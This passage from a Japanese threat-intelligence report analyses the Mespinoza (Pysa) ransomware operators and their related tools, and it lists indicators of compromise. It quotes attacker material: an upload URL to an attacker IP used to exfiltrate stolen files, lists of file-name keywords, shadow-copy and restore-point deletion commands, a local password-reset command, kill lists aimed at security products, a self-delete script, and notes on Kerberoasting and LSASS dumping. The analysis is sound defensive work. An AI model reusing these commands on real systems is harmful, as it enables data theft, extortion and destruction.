さらにオペレーターは、PowerShellスクリプトを使ってセキュリティサービスやバックアップを停止したり、ローカルグループポリシーを編集してWindows Defenderの機能を無効にしたりしました。
このランサムウェアは、ファイルシステムを列挙して非対称暗号(公開鍵暗号)でファイルを暗号化し、ファイルの名前を変更して特定の拡張子を持たせ、身代金要求のメッセージを表示するという、極めて単純なものです。この身代金メッセージには、被害者が暗号化されたファイルを解読するための支払い方法を相談するために連絡する3つのメールアドレスが含まれています。身代金のメッセージには電子メールアドレスが記載されているだけでなくグループのリークサイトが含まれおり、アクターがファイルの暗号化前にネットワークから窃取した機密ファイルを掲載するとしています。このように機密性の高いファイルを利用することで支払い交渉を有利に進めようとしているようです。
データの漏出
このアクターは、二重恐喝を試みてか身代金支払い交渉で優位に立つためか、まずPowerShellスクリプトを実行して感染ネットワークから機密性の高いファイルを漏出させ、その後Mespinozaを展開していました。本稿で後述するランサムウェアの身代金要求メモによれば、組織が身代金を支払わない場合、アクターはこれらのファイルを自らのWebサイトにアップロードするか「ダークネット」で販売すると脅しています。このメッセージは、組織に身代金支払いをせまるためにアクターが漏出したファイルを利用していることを示唆しています。
このグループのリークサイトを見てみると、被害者のネットワークから漏出したと思われるファイルアーカイブが公開されていました。Webサイト上の各リークエントリには、組織名、リークに関連する日付、リークされた情報を含むページまたはファイルのZipアーカイブへのリンクが含まれています。本稿執筆時点では187の組織が名を連ねており、これらのリークの日付は2020年4月3日から2021年4月29日までとなっています。またこのサイトには、漏出した25の組織のファイルについて、アクターが書いたと思われる説明があります。この説明の多くでアクターは影響を受けた組織を「パートナー」と呼んでいます(以下の説明例を参照)。
パートナー企業の取引履歴や請求書、銀行書類などを閲覧できるようになっています。
私たちの分析では、このアクターは、潜在的に機微なものたりうるファイルをPowerShellスクリプトを実行して収集していました。このスクリプトは、システム上のファイルを列挙し、特定のファイル拡張子を持つファイルや特定のフォルダ内のファイルは無視し、ファイル名に71個の部分文字列のいずれか1つを含むファイルを送信するものでした。目的のファイルが見つかると、このPowerShellスクリプトはSystem.Net.WebClient.UploadFileメソッドを使って以下の構造をもつURLにファイルをアップロードします。
193.34.166[.]92/upload-wekkmferokmsdderiuheoirhuiewiwnijnfrer?token=<base64のトークンの値>&id=<特定組織用の一意な番号>&fullPath=<漏出対象ファイルのディスク上のパス>
このPowerShellスクリプトはファイル名を表6に記載した71個の部分文字列と比較することで対象ファイルを特定します。この部分文字列は、アクターが財務、口座の認証情報、政府、従業員、その他の個人識別情報(PII)に関する文書など、さまざまな種類の情報を収集することに関心があることを示しています。illegal、fraud、criminalなどの複数の部分文字列からは、被害組織が把握している自らの違法行為に、アクターが関心を寄せていることがわかります。
secret | checking | illegal | bureau | billing | sec |
private | saving | compromate | government | payment | soc |
confident | routing | privacy | securit | budget | vendor |
important | finance | login | unclassified | criminal | tax |
federal | agreement | credent | seed | bank | emplo |
government | SWIFT | private | personal | cash | hir |
security | compilation | contract | partner | payroll | ssn |
fraud | report | concealed | confident | password | tax |
secret | confident | clandestine | driver*license | i-9 | |
balance | hidden | investigation | letter | license*driver | w-9 |
statement | clandestine | federal | passport | scans | w-4 |
pay | Staf | SSA | Emplo | Confid |
表6 漏出対象ファイルの特定に使われている部分文字列
漏出対象ファイル一覧の生成のさい、このPowerShellスクリプトはファイル拡張子に基づいて表7の一覧と一致するファイルは無視します。除外されるファイル拡張子のリストに「.docx」や「.doc」、「.pdf」などのビジネスソフトに関連する一般拡張子は含まれていません。ここから、脅威のアクターが最も関心を持っているファイルタイプを推測することができます。除外リストに含まれるファイルタイプと比較し、脅威アクターが求める機密情報が含まれている可能性が高いことから、脅威アクターは文書ファイルに最も関心を持っていると考えられます。またこの除外拡張子の一覧には誤りがあります。特に「. rpt」というエントリには、ファイル拡張子では使用できないスペース文字が含まれています。
.png | .evtx | .gif | .man | .pls | .trn | .ascx | .suo | .jss |
.jpg | .rb | .log | .template | .checksum | .ipa | .application | .vsix | .jsm |
.txt | .htm* | .url | .xsd | .cdf-ms | .procedure | .cls | .wsdl | .ico |
.py | .jar | .lnk | .aspx | .cmd | .vb | .deploy | .tt | .function |
.pyc | .dat | .cs | .h | . rpt | .cshtml | .DIC | .cch | .hlp |
.dll | .ini | .json | .cab | .php | .config | .rll | .chw | .ldf |
.exe | .xrm-ms | .bak | .Pid | .svc | .chm | .so | .epub | .map |
.js | .xml | .md | .frm | .java | .msp | .table | .form | .mof |
.css | .swf | .manifest | .msi | .class | .msm | .tmp | .function | .mp3 |
.msg | .nupkg |
表7. 対象ファイル特定で無視されるファイル拡張子一覧
最後に、このPowerShellスクリプトは表8に記載した部分文字列に一致するフォルダとサブフォルダに保存されているファイルを無視します。これらのフォルダは、Windows オペレーティングシステム、アプリケーションファイル、ブラウザ、ウイルス対策製品に関連しており、アクターが関心を持つような機密ファイルが含まれている可能性は低いことから、興味の対象から外されていました。
Windows | Package Cache | PerfLogs |
Symantec | VMware | Recovery |
Chrome | Microsoft | Boot |
Mozilla | Sophos | Program Files |
ESET | System Volume Information | ProgramData |
表8. 対象ファイル特定で無視されるフォルダ
展開
Mespinoza を展開するために、アクターは3つのバッチスクリプトを使っていました。これらのバッチスクリプトはPsExecを使ってネットワーク上の他のシステムにファイルをコピーしたり、そこでコマンドを実行したりします。アクターはある1つのシステムを配布拠点として利用し、このシステムから3つのバッチスクリプトを実行して、ネットワーク上の他のシステムに拡散させます。この3つのスクリプトは、以下のタスクを実行します。
- PsExecを使って配布サーバーの共有フォルダにあるPowerShellスクリプトを実行する
- PsExecを使って copy コマンドを実行し、Mespinoza ランサムウェアを配布サーバーの共有フォルダからネットワーク上の他のシステムのC:Windows\Temp\svchost.exeにコピーする
- PsExecを使ってコピーしたランサムウェアサンプルを cmd/c c:windows\temp\svchost.exeで実行する
ランサムウェアの展開に先立つ最初のPowerShellスクリプトは、アンチウイルス無効化、リモートデスクトップ有効化、ランサムウェアの影響最大化をねらったシステム変更をとくに目標としています。まず、ランサムウェア展開前のPowerShellスクリプトではとくにMalwareBytesとWindows Defenderの両方のウイルス対策ソフトウェアをシステムから無効化または削除しようとします。このPowerShellスクリプトは、表9に示すように、表示名に特定の部分文字列を持つサービスの停止を試みます。これらのサービス名からは、データベース、電子メール、バックアップサービスの無効化後にランサムウェアを実行することによりランサムウェアがこれらのサービスが使用するファイルを暗号化できるように、という意図がうかがえます。
SQL | Exchange | Sharepoint |
Oracle | Veeam | Quest |
Citrix | Malwarebytes | Backup |
表9 Mespinoza展開前に最初のPowerShellスクリプトがKillするプロセス
またこのスクリプトは、Windows Management Instrumentationコマンド(wmic)を使い、プロセス名に表10の部分文字列が含まれるプロセスを検出して強制終了させます。このスクリプトがKillしようとしているプロセス名には、一般的なブラウザ、エンドポイントプロテクション、ビジネスソフト、データベース、サーバープロセスなどが含まれています。
Agent | Backup | apache | office | manage |
Malware | QuickBooks | web | anydesk | acronis |
Endpoint | QBDB | vnc | protect | endpoint |
Citrix | QBData | teamviewer | secure | autodesk |
sql | QBCF | OCS Inventory | segurda | database |
SQL | server | monitor | center | adobe |
Veeam | citrix | security | agent | java |
Core.Service | sage | def | silverlight | logmein |
Mongo | http | dev | exchange | microsoft |
solarwinds | engine | AlwaysOn | Framework | sprout |
firefox | chrome | barracuda | veeam | arcserve |
表10 Mespinoza展開前に最初のPowerShellスクリプトがKillするプロセス
またこのPowerShellスクリプトは次のコマンドでシステムの復元ポイントとボリュームシャドウコピーの削除を試みます。
Get-ComputerRestorePoint | Delete-ComputerRestorePoint
vssadmin delete shadows /all /quiet
このほか、システム上のローカルユーザーアカウントのパスワードを変更し、システムの可用性にさらに影響を与えようとします。その実行にあたり、PowerShellスクリプトは次のコマンドを実行して、現在のシステムのローカルユーザーアカウントのリストを取得します。
Get-WmiObject -Class Win32_UserAccount -ComputerName $env:COMPUTERNAME -Filter LocalAccount='true' | select -ExpandProperty name
その後、すべてのローカルユーザーアカウントをイテレートし、ユーザー名に「pysa」という文字列をアペンドします。その結果得られた文字列のMD5ハッシュを生成し、その最初の13文字をユーザーパスワードに設定します。このとき実行されるコマンドが以下のコマンドです。
([adsi]"WinNT://$env:COMPUTERNAME/$user").SetPassword("$pass");
ランサムウェアの展開前に実行されるPowerShellスクリプトがエンドシステム上で正常に実行されたかどうかを判断するため、アクターは、このスクリプトが実行されたシステム名をファイルとするファイルを配布システムの共有フォルダに作成するコマンドを追加していました。このコマンドはこのファイルに「I'll be back.」と書き込みます。このメッセージはアクターがランサムウェア展開のために後でこのシステムを再訪するつもりであることを物語っています。この機能を実行するPowerShellコマンドは以下のようになります。このなかの「[redacted]」は、配信システムのIPアドレスを置き換えたものです。
New-Item -Path "\\[redacted]\log$" -Name "$name.txt" -ItemType "file" -Value "I'll be back.";
ランサムウェア
Mespinozaランサムウェアはその開始にあたり、まずPysaというミューテックスを作成します。Pysaは同ランサムウェアファミリの別名でもあります。その後、ファイルシステムを列挙して各フォルダ内のReadme.READMEというファイルに以下の身代金要求メモを書き込みます。
![ランサムウェアMespinozaによる身代金要求メモのスクリーンショット](https://unit42.paloaltonetworks.jp/wp-content/uploads/2021/07/word-image-15.png)
図10 Mespinoza ランサムウェアの身代金要求メモ
このランサムウェアは、パスに以下が含まれているフォルダ内のファイルについては身代金メッセージの書き込みを省略し暗号化もしません。
- :\Windows\
- \Boot\
- \BOOTSECT
- \pagefile
- \System Volume Information\
- bootmgr
- \Recovery
- \Microsoft
またこのランサムウェアはシステム起動時に身代金要求メモを表示するためにレジストリに値を書き込みます。このランサムウェアは、SOFTWARE_Microsoft_Windows_CurrentVersion_Policies_Systemにある2つのレジストリキーを編集します。具体的にはlegalnoticecaptionの値をPYSAにし、legalnoticetextの値を上記の身代金要求メモの内容に設定します。
このランサムウェアは、RSA公開鍵とAES-CBC暗号を使用してファイルを暗号化した後、暗号化したファイル名を変更してファイル拡張子を.pysaにします。各ファイルを暗号化する前にランサムウェアはファイル拡張子を以下の除外リストと照合します。
.README | .docx | .myd | .backupdb | .vfd | .vbm |
.pysa | .xlsx | .ndf | .bck | .avhdx | .vrb |
.exe | .sdf | .bkf | .vmcx | .win | |
.dll | .db | .trc | .bkup | .vmrs | .pst |
.sys | .db3 | .wrk | .bup | .pbf | .mdb |
.search-ms | .frm | .001 | .fbk | .qic | .7z |
.sql | .ib | .acr | .mig | .sqb | .zip |
.doc | .mdf | .bac | .spf | .tis | .rar |
.xls | .mwb | .bak | .vhdx | .vbk | .cad |
.dsd | .dwg | .pla | .pln |
表11 ファイル拡張子による暗号化除外リスト
このランサムウェアは仕上げに%TEMP%%update.batに以下の内容のバッチスクリプトを作成し、このバッチスクリプトを実行してシステムからランサムウェアとバッチスクリプトを削除します。
1 2 3 4 5 |
:Repeat del "<ransomware filename>.exe" if exist "<ransomware filename>.exe" goto Repeat rmdir "<folder containing ransomware>" del %TEMP%\update.bat |
関連ツール
このアクターは、遅くとも2021年3月までには、Mespinozaランサムウェアとランサムウェア展開前に使うPowerShellスクリプトを組み合わせて使用していたようです。ランサムウェアの展開前に使われるスクリプトとして、これとは別の「p.ps1」(SHA256:7193d6f3c621596e845694c1348e90ea5a9d99d756c9e9fe5063860cd1ee38)というものも見つかっています。このスクリプトがまず使われて、次にランサムウェアMespinoza/Pysa(SHA256:90cf35560032c380ddaaa05d9ed6baacbc7526a94a992a07fd02f92f371a8e92)が使用されていました。また、このランサムウェアは身代金要求メモで以下のメールアドレスを使用していました。
- luebegg8024@onionmail[.]org
- mayakinggw3732@onionmail[.]org
- lauriabornhat7722@protonmail[.]com
IPアドレス89.44.9[.]229が、2020年9月の第1週にGasketとMagicSocksのサンプルをホストしていたことも突き止めました。同時に、このサーバーには2つのPowerShellスクリプトがホストされており、ここからこれらのツールを使用する脅威のアクターについてさらに詳しく知ることができました。このアクターは、エクスプロイト後のアクティビティで、この両スクリプトをとくに認証情報収集とラテラルムーブに関連して使っていたように見えます。
うち1つのスクリプトファイル名はkeke.ps1です。これはInvoke-Kerberoastを改変したもので、コメントやメッセージを画面に表示する行がすべて削除されています(Write-Verbose)。アクターはInvoke-Kerberoast関数の名前をmommmに変更していました。mommm は実行されると、その結果をパスC:Users\Public\logsのファイルに出力します。集めたハッシュを「John the Ripper(パスワードクラックツールの一種)」形式で出力する機能はスクリプトから削除されていました。どうやらアクターはこのコードを削除してhashcat(別のパスワードクラックツール)出力形式を使いたかったようです。このことから私たちは、当該脅威グループはC:Users\Public\logsファイルを漏出させてそれをhashcatツールにかけ、認証情報を抽出しようとしたものと考えています。
2つ目のPowerShellスクリプトのファイル名はtry.ps1で、ハードコードされたパスC:Users\Publiclsass.zipのファイルを5MBごとのブロックに分割しようとします。このスクリプトは、これらのブロックファイルのそれぞれのファイル名に「[番号].part」を付加して書き込みます。このスクリプトは、このグループがLocal Security Authority Subsystem Service (LSASS)プロセスのメモリをダンプし、小さなファイルにして漏出させ、リモートシステム上の認証情報を収集したいと考えていることを示唆しています。
結論
最近の事例でこの脅威アクターは、リモートデスクトップ経由でシステムにアクセスし、PsExecツールで一連のバッチスクリプトを実行してネットワーク上の他のシステムにランサムウェアをコピー・実行して、ランサムウェアMespinoza(別名Pysa)を展開していました。ランサムウェアを他のシステムに展開する前に、アクターはネットワーク上の他のシステムでPowerShellスクリプトを実行し、目的のファイルを漏出させ、ランサムウェアの影響を最大化させます。
本稿に記載したようなMespinoza攻撃は、複数のランサムウェア脅威アクターやファミリにいま見られるさまざまな傾向を浮き彫りにするものです。こうした傾向があるおかげで、攻撃はたやすくシンプルに行うことができます。他のランサムウェア同様、Mespinozaはインターネットに向けられたRDPサーバーという、いってみれば表玄関から発信されることから、時間とコストのかかるフィッシングメールの作成やソーシャルエンジニアリング、ソフトウェアの脆弱性の利用などの作業も必要ありません。さらに、オンラインで無料で利用できる多くのオープンソースのツールを使用したり、アクターが侵害したシステム上にもとからある手近な組み込みツールを使用することで、コストを削減し、最終的にかかる費用や利益に貢献しています。
インターネット上のRDPサーバー発見は簡単に自動化できます。2021年のCortex Xpanse Attack Surface Threat Reportによると、グローバル企業で見つかった最も一般的なセキュリティ問題はRDPで、これがセキュリティ問題全体の32%を占めています。
パロアルトネットワークスの次世代ファイアウォールをご利用のお客様は、以下の保護機能により、Mespinoza、Gasket、MagicSocksから保護されています。
- 既知のGasket HTTP C2トラフィックはすべて脅威防御で検出されます。
- 既知の Mespinoza、Gasket、および MagicSocks のサンプルはすべて、WildFireで「悪意があるもの」と判定されます。
- 既知のGasketおよびMagicSocksのC2ドメインはすべて、Advanced URL Filteringで「悪意があるもの」と判定され、PAN-DBで「Command & Control」に分類されます。
- GasketおよびMagicSocks C2の既知のドメインはすべてDNS Securityで検出されます。
Cortex XDRのお客様は、既知のMespinoza、Gasket、およびMagicSocksのすべてのサンプルに対するWildFireのマルウェア判定とGasketのサンプルへのローカル分析により保護されています。
AutoFocusのお客様は、MespinozaおよびGasketタグを介して、この攻撃で使用されたランサムウェアおよび関連ツールを追跡できます。
Cortex Xpanseのお客様はネットワークセキュリティの攻撃面を評価・管理し、システムインベントリを作成できます。
IoC
GasketのSHA256値
- 356671767c368e455f2261f7f76d9ee9bd0b522172490845b89281224ab5dbad
- 5d8459c2170c296288e2c0dd9a77f5d973b22213af8fa0d276a8794ffe8dc159
- 64b9b5874820ca26344c919b518d6c0599a991aaf1943a519da98d294bebf01f
- a30e605fa404e3fcbfc50cb94482618add30f8d4dbd9b38ed595764760eb2e80
- b0629dcb1b95b7d7d65e1dad7549057c11b06600c319db494548c88ec690551e
- ccfa2c14159a535ff1e5a42c5dcfb2a759a1f4b6a410028fd8b4640b4f7983c1
- 0bcbc1faec0c44d157d5c8170be4764f290d34078516da5dcd8b5039ef54f5ca
- 85c8ccf45cdb84e99cce74c376ce73fdf08fdd6d0a7809702e317c18a016b388
- 8b5cdbd315da292bbbeb9ff4e933c98f0e3de37b5b813e87a6b9796e10fbe9e8
- 701791cd5ed3e3b137dd121a0458977099bb194a4580f364802914483c72b3ce
- aa2faf0f41cc1710caf736f9c966bf82528a97631e94c7a5d23eadcbe0a2b586
- d591f43fc34163c9adbcc98f51bb2771223cc78081e98839ca419e6efd711820
- ef31b968c71b0e21d9b0674e3200f5a6eb1ebf6700756d4515da7800c2ee6a0f
- f8a5065eb53b1e3ac81748176f43dce1f9e06ea8db1ecfa38c146e8ea89fcc0b
- 12b927235ab1a5eb87222ef34e88d4aababe23804ae12dc0807ca6b256c7281c
- 045510eb6c86fc2d966aded8722f4c0e73690b5078771944ec1a842e50af4410
- 6eb0455b0ab3073c88fcba0cad92f73cc53459f94008e57100dc741c23cf41a3
- 2697bbe0e96c801ff615a97c2258ac27eec015077df5222d52f3fbbcdca901f5
- f5cb94aa3e1a4a8b6d107d12081e0770e95f08a96f0fc4d5214e8226d71e7eb7
- 3a6ddc4022f6abe7bdb95a3ba491aaf7f9713bcb6db1fbaa299f7c68ab04d4f4
- 7b5027bd231d8c62f70141fa4f50098d056009b46fa2fac16183d1321be04768
- e47a632bfd08e72d15517170b06c2de140f5f237b2f370e12fbb3ad4ff75f649
- 8a9205709c6a1e5923c66b63addc1f833461df2c7e26d9176993f14de2a39d5b
- 0fd13ece461511fbc129f6584d45fea920200116f41d6097e4dffeb965b19ef4
- 6d1fde9a5963a672f5e4b35cc7b8eaa8520d830eb30c67fadf8ab82aeb28b81a
- 89b9ba56ebe73362ef83e7197f85f6480c1e85384ad0bc2a76505ba97a681010
- c9bed25ab291953872c90126ce5283ce1ad5269ff8c1bca74a42468db7417045
- af97b35d9e30db252034129b7b3e4e6584d1268d00cde9654024ce460526f61e
- 1b888acb22a8326bd5f80f840390182d00e0c8db416d29d042358b48d1220438
- 9986b6881fc1df8f119a6ed693a7858c606aed291b0b2f2b3d9ed866337bdbde
- ea3b35384e803bef3c02a8f27aea2c2a40f9a4d2726113e1c5f2bc3be9c41322
- d9c753b859414e4b38a0841423b159590c47ad580249b0cd3c99a0ecc6644914
- 30bd30642bf83abd74b8b2312ea606e0f192b0d61351f1445d1a1458414992d3
- 140224fb7af2d235e9c5c758e8acaee34c912e62fad625442e5ca4102d11e9e7
- c2ef84710937b622f35b2b8fab9f9aa86b718ba7bc77a40b33b92e40747676b5
GasketのC2
- 160.20.147[.]184
- 172.96.189[.]167
- 172.96.189[.]22
- 172.96.189[.]246
- 185.183.96[.]147
- 185.185.27[.]3
- 185.186.245[.]85
- 193.239.84[.]205
- 193.239.85[.]55
- 194.187.249[.]102
- 194.187.249[.]138
- 194.5.249[.]137
- 194.5.249[.]138
- 194.5.249[.]139
- 194.5.249[.]18
- 194.5.249[.]180
- 194.5.250[.]151
- 194.5.250[.]162
- 194.5.250[.]216
- 198.252.100[.]37
- 23.83.133[.]136
- 37.120.140[.]184
- 37.120.140[.]247
- 37.120.145[.]208
- 37.221.113[.]66
- 45.89.175[.]239
- 45.147.228[.]49
- 45.147.229[.]29
- 45.147.230[.]162
- 45.147.230[.]212
- 86.106.20[.]144
- 89.38.225[.]208
- 89.41.26[.]173
- accounting-consult[.]xyz
- blitzz[.]best
- cvar99[.]xyz
- dowax[.]xyz
- english-breakfast[.]xyz
- englishdialoge[.]xyz
- englishdict[.]xyz
- firefox-search[.]xyz
- ntservicepack[.]com
- productoccup[.]tech
- pump-online[.]xyz
- reportservicefuture[.]website
- sbvjhs[.]club
- sbvjhs[.]xyz
- serchtext[.]xyz
- spm[.]best
- starhouse[.]xyz
- statistics-update[.]xyz
- transnet[.]wiki
- visual-translator[.]xyz
- wiki-text[.]xyz
- ccenter[.]tech
- dowax[.]xyz
- english-breakfast[.]xyz
MagicSocksのSHA256値
- 2f190f0a3a0f34113affc9edd02b9cacd0eb32cadb1d30a772aa0108e607dd5e
- d0b9124bc424982f52ac2af2ebbfbd343f224549543fcf77645c00e4c2c394a0
- 04c44183426102b395679b009dfa194b648ce541dfb7a04f8e6f76571d8ac5d9
- 0962cff47f985d5d8202b3cf73752f7e340f87ca82496618c28d37a666376d42
- f354b12bc070db12f1e6e9bb60acbb14e067f3469a1d560127256c999e80fd39
- 0b29bce75c909b67f674b64cc42c5f6b57efae61bbfb071420cc47aa32b4881c
MagicSocksのC2
- creatordampfe[.]xyz
- 104.168.164[.]195
- 172.96.189[.]86
- 142.79.237[.]163
- 23.227.206[.]158
ランサムウェア展開前に使われるスクリプト
- 897f5a1f4194f5c874547fdcd265de745a1e46da8077c7b68a3ea20f0a404bd0
- 85761bf03d96111b90954cc8a5d38e250097ec649dd82ebd20946d03dec16714
- a30f82a95519a55b58c25fa726934dad421ec5dac382be640a9ff016d9da44c7
- 7193d6f3c621596e845694c1348e90ea5a9d99d756c9e9fe5063860cd1ee3838
- 0951ca2d4ab7bec16a4145f757a59b0d1acdf3343e862ffa88f2d3f2243362bb
関連Mespinoza/PYSAのSHA256値
- 90cf35560032c380ddaaa05d9ed6baacbc7526a94a992a07fd02f92f371a8e92
- 44f1def68aef34687bfacf3668e56873f9d603fc6741d5da1209cc55bdc6f1f9
関連PowerShellスクリプトのSHA256値
- f6ccf438c73e4e5ec91c62ffaf6a06aa316fc1ac8efbe903a4d689af47e14877
- 5c31e73c7796e37a6f604fa0a588a8d3c9289191a7d60c47c8a5ac3f58e24233